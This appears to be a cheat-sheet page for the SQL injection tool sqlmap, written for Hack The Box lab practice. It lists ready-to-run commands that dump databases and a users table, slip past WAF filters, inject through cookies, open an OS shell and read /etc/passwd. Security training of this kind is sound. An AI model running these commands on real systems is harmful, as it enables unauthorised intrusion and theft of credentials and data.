Search everything Ctrl K

sqlmap

sqlmap tests a parameter with dozens of techniques (boolean, time-based, UNION, error) and, if it is vulnerable, dumps the database or gives you a shell. The easiest way is to give it the request saved from Burp with -r.

Platform
Linux · Windows · macOS (Python)
Official site
sqlmap.org
On HTB
4 machines
Install 
sudo apt install sqlmap

sqlmap cheat sheet

Your values Saved in this browser and applied to every cheatsheet.
11 commands

Extras

Get past a simple WAF 
sqlmap -r peticion.txt --batch --tamper=space2comment,between --random-agent
Injection in a cookie 
sqlmap -u http://box.htb/ --cookie='id=1*' --level 2 --batch

The asterisk marks where to inject.

In our cheatsheets

SQL injection payloads › sqlmap

Test a GET parameter Attacker 
sqlmap -u 'http://10.10.11.20/item.php?id=1' --batch --dbs
From a request saved in Burp Attacker 
sqlmap -r peticion.txt --batch --level 5 --risk 3
Forms on the page Attacker 
sqlmap -u 'http://10.10.11.20/login.php' --forms --batch
Dump a table Attacker 
sqlmap -r peticion.txt --batch -D app -T users --dump
Boolean and time based only Attacker 
sqlmap -r peticion.txt --batch --technique=BT
Evade filters with tampers Attacker 
sqlmap -r peticion.txt --batch --tamper=space2comment,between
Injection in a cookie or header Attacker 
sqlmap -u 'http://10.10.11.20/' --cookie='session=abc*' --batch --level 2

The asterisk marks where to inject.

OS shell Attacker 
sqlmap -r peticion.txt --batch --os-shell
Read a file Attacker 
sqlmap -r peticion.txt --batch --file-read=/etc/passwd

HTB machines where sqlmap is used

Taken from the chapters of IppSec videos where sqlmap shows up. The ▶ link jumps to the minute of that part.

Guides that use sqlmap